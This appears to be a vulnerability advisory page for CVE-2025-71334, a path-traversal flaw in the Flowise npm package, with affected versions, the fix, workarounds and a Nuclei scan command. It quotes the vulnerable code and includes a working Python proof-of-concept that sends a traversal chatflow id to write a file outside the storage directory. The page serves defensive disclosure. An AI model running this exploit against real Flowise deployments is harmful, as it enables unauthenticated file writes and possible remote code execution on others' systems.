CVE-2025-71334 — flowise
Fix: FlowiseAI/Flowise@8bd3de4CVE-2025-71334 is a CWE-73 vulnerability in flowise. A fix is available for flowise — see the affected versions and patch details below.
Flowise - Arbitrary File Access via Missing Chat Flow ID Validation
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2025-71334.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
flowisenpmDescription
Summary
Missing chat flow id validation allows an attacker to access arbitrary file.
Details
Commit https://github.com/FlowiseAI/Flowise/commit/8bd3de41533de78e4ef6c980e5704a1f9cb7ae6f and https://github.com/FlowiseAI/Flowise/commit/c2b830f279e454e8b758da441016b2234f220ac7 added check for filename when handling file upload operations to prevent path traversal, and additional validation of chatflowId and chatId from route /api/v1/attachments. In some cases, however, chatflowId and chatId are not validated to ensure they are UUIDs or numbers, which may lead to security issues.
Case 1
When creating new chatflow via /api/v1/chatflows, function addBase64FilesToStorage is called if there exists base64 file data. Although the filename is sanitized, the chatflowid comes from request body directly without any validation. An attacker could exploit the path traversal here to write arbitrary file with controlled data.
export const addBase64FilesToStorage = async (fileBase64: string, chatflowid: string, fileNames: string[]) => {
// ...
} else {
const dir = path.join(getStoragePath(), chatflowid) // path traversal here
if (!fs.existsSync(dir)) {
fs.mkdirSync(dir, { recursive: true })
}
const splitDataURI = fileBase64.split(',')
const filename = splitDataURI.pop()?.split(':')[1] ?? ''
const bf = Buffer.from(splitDataURI.pop() || '', 'base64')
const sanitizedFilename = _sanitizeFilename(filename)
const filePath = path.join(dir, sanitizedFilename)
fs.writeFileSync(filePath, bf)
fileNames.push(sanitizedFilename)
return 'FILE-STORAGE::' + JSON.stringify(fileNames)
}
}
Case 2
When downloading file via /api/v1/openai-assistants-file/download or /api/v1/get-upload-file, function streamStorageFile is called to retrieve file data from local or cloud bucket. The chatflowId and chatId are used for file path generation. Take Amazon S3 as an example, its [documentation indicates](https://docs.aws.amazon.com/AmazonS3/latest/userguide/object-keys.html#object-key-guidelines) that ../ will be treated as relative path.
Note that these APIs are in WHITELIST_URLS, an attacker may traverse user storage files without authentication.
PoC
Launch app at localhost with default config, then run the following python script, a file named 'pwn' will be written to dir /tmp with content 'Hello, World!'.
import requests
import json
url = "http://localhost:8080/api/v1/chatflows"
headers = {"x-request-from": "internal"}
nodedata = {
"category" : "Document Loaders",
"inputs" : {
"key" : "data:text/plain;base64,SGVsbG8sIFdvcmxkIQ==,a:pwn"
}
}
flownode = {
"id" : "a",
"data" : nodedata
}
flowdata = {
"nodes" : [flownode],
"edges" : [],
"viewport" : {
"x" : 1,
"y" : 1,
"zoom" : 1
}
}
data = {
"id" : "../../../../../tmp",
"name" : "name",
"flowData" : json.dumps(flowdata)
}
res = requests.post(url, json=data, headers=headers)
Impact
- Arbitrary file read / write
- Remote Code Execution
- Data loss
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | flowise | ≥ 2.2.8&&< 3.0.6 | 3.0.6npm install flowise@3.0.6 |
Affected Products
flowiseflowiseaiDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for flowise, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update flowise to 3.0.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-71334 is resolved across your whole dependency graph.
Workarounds
Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.
How to detect CVE-2025-71334
A community-maintained Nuclei template exists for this CVE. You can scan for it directly:
nuclei -id cve-2025-71334 -u https://target- Template
- Flowise - Path Traversal
- Severity
- critical
- Impact
- Unauthenticated attackers can read and write arbitrary files, potentially leading to remote code execution and full system compromise.
- Remediation
- Update to version 3.0.6 or later.
Template by ProjectDiscovery nuclei-templates (theamanrawat), MIT licensed. View the full template. Scan only systems you are authorised to test.
Frequently Asked Questions
Is CVE-2025-71334 in your dependencies?
Find it across npm, including transitive dependencies.